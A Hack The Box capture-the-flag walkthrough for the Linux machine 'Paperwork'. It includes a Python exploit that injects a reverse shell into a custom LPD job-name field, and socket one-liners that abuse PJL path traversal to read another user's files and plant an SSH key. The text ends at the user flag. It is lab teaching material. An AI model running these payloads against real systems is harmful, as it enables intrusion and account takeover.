🖨️Paperwork
🖨️ HTB Paperwork -- Solution Notes
Platform: Hack The Box Machine: Paperwork OS: Linux (Ubuntu 25.10) Difficulty: Easy Date: August 17, 2026
🗺️ Attack Chain
Nmap → Web recon (Intake Portal) → Source code download → LPD command injection (shell as lp) → Internal port discovery (9100 JetDirect) → PJL file system access → SSH key write (archivist) → Unix socket SCM_RIGHTS fd leak → Admin password → ROOT
🧠 How Does a Hacker Think? -- Before You Begin
This machine is built around a single theme: printer protocols. LPD (Line Printer Daemon) on port 1515, JetDirect/PJL on port 9100, and a custom archiving daemon. You don't need to know these protocols beforehand. What matters is recognizing that unfamiliar services are often poorly secured because developers assume nobody will interact with them directly.
1️⃣ Reconnaissance
Port Scanning
bash
nmap -sV -sC -O -p 22,80,1515 10.129.3.104Findings:
3 ports. HTTP is the web front-end. SSH is for later access. Port 1515 is the interesting one: it returns a printer-related banner. That's not a standard port for printing (515 is), so it's likely a custom implementation. Custom implementations often have bugs.
🧠 How Does a Hacker Think? -- Unfamiliar Protocols
When you encounter a service you've never seen before, don't panic. Follow this order:
2️⃣ Web Application Discovery
After adding paperwork.htb to /etc/hosts, the web page shows an "Intake Portal" with:
- Protocol: Compliance Level: RFC 1179 (LPD protocol)
- Target Queue:
archive_intake - Internal Processor:
paperwork-archive-v1.02(downloadable) - Maintenance Advisory: Backend spooler
PRN-ARCHIVE-01is offline, manual ingestion via legacy gateway.
Downloading the archive from /download/archive gives a zip containing server.py.
bash
curl -s http://paperwork.htb/download/archive -o archive.zip
unzip archive.zip
cat server.py3️⃣ Source Code Analysis -- Finding the Vulnerability
What is LPD (Line Printer Daemon)?
The critical section of server.py:
python
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(f"echo 'Archive:{job_name}' >> /tmp/archive.log", shell=True)The vulnerability: job_name is extracted from the control file's J line with zero sanitization and passed directly into subprocess.Popen with shell=True. This is textbook command injection.
The resulting shell command is:
echo 'Archive: JOB_NAME' >> /tmp/archive.logIf we set J to '; MALICIOUS_COMMAND #, it becomes:
echo 'Archive: '; MALICIOUS_COMMAND #' >> /tmp/archive.logThe single quote closes the echo string, our command runs, and # comments out the rest.
🧠 How Does a Hacker Think? -- Command Injection
Whenever you see user input going into a system command, check two things:
4️⃣ Exploitation -- LPD Command Injection
Building the Exploit
The exploit script speaks the LPD protocol:
- Send
\x02archive_intake\nto request a print job on the valid queue - Send a control file header with the file size
- Send the control file containing the poisoned
Jline
python
import socket
import time
TARGET = "10.129.3.104"
PORT = 1515
LHOST = "YOUR_TUN0_IP"
LPORT = "4444"
# Python3 reverse shell (works on all shells, unlike /dev/tcp which is bash-only)
revshell = f"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\"/bin/bash\")'"
payload = f"';{revshell} #"
control = f"Hlocalhost\nProot\nJ{payload}\n"
ctrl_bytes = control.encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
# Step 1: Print job request
s.send(b'\x02archive_intake\n')
time.sleep(1) # Prevent TCP coalescing
# Step 2: Control file header (subcommand \x02 + size + filename)
header = b'\x02' + f"{len(ctrl_bytes)} cfA001localhost\n".encode()
s.send(header)
ack = s.recv(1) # Should be \x00 (accepted)
# Step 3: Control file content + null terminator
s.send(ctrl_bytes + b'\x00')
ack = s.recv(1) # Should be \x00
s.close()Getting the Shell
bash
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.pyWhy did /dev/tcp fail but Python worked?Shell as lp
lp@paperwork:/opt/LPDServer$ whoami
lp
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)5️⃣ Internal Enumeration
After getting a shell as lp, the next step is finding a path to the archivist user (whose home directory contains user.txt).
bash
ss -tlnpInternal services discovered:
The systemd service files revealed the key detail:
# jetdirect.service
User=archivist
ExecStart=/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/Port 9100 runs as archivist with a working directory inside archivist's home. If we can interact with this service, we might be able to read or write files as archivist.
🧠 How Does a Hacker Think? -- Lateral Movement via Internal Services
You'relpand you need to becomearchivist. There's no sudo, no SUID exploit, no cron job. But there's a service running as archivist on localhost.
6️⃣ Lateral Movement -- PJL File System Access
Reading the JetDirect Source Code
bash
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/jetdirect.py\" OFFSET=0 SIZE=8192\r\n')
time.sleep(1)
data = b''
while True:
chunk = s.recv(4096)
if not chunk: break
data += chunk
if len(chunk) < 4096: break
print(data.decode(errors='ignore'))
s.close()
"The source code confirmed: 0: maps to /home/archivist/printer/ and path traversal with ../ is possible through os.path.normpath.
Navigating to archivist's Home Directory
bash
# List archivist's home
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSDIRLIST NAME=\"0:/../\" ENTRY=1 COUNT=65535\r\n')
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"Output:
user.txt TYPE=FILE SIZE=33
.ssh TYPE=DIR SIZE=4096
printer TYPE=DIR SIZE=4096
...Reading user.txt
bash
python3 -c "
import socket, time
s = socket.socket()
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/../user.txt\" OFFSET=0 SIZE=1024\r\n')
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"Writing SSH Key for Persistent Access
The .ssh/authorized_keys file was empty (SIZE=0). We can write our own public key using PJL's FSDOWNLOAD command.
bash
# On Kali: Generate a key pair
ssh-keygen -t ed25519 -f /tmp/archivist_key -N ""
cat /tmp/archivist_key.pub
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... root@kalibash
# On target (lp shell): Write the public key
python3 -c "
import socket, time
key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... root@kali'
s = socket.socket()
s.connect(('127.0.0.1', 9100))
cmd = b'\x1b%-12345X@PJL FSDOWNLOAD NAME=\"0:/../.ssh/authorized_keys\" SIZE=' + str(len(key)).encode() + b'\n'
s.send(cmd)
time.sleep(0.5)
s.send(key)
time.sleep(1)
print(s.recv(4096).decode(errors='ignore'))
s.close()
"
# Output: OKSSH as archivist
bash
ssh -i /tmp/archivist_key archivist@10.129.3.104🚩 User Flag
bash
cat ~/user.txtYou might also want to look at these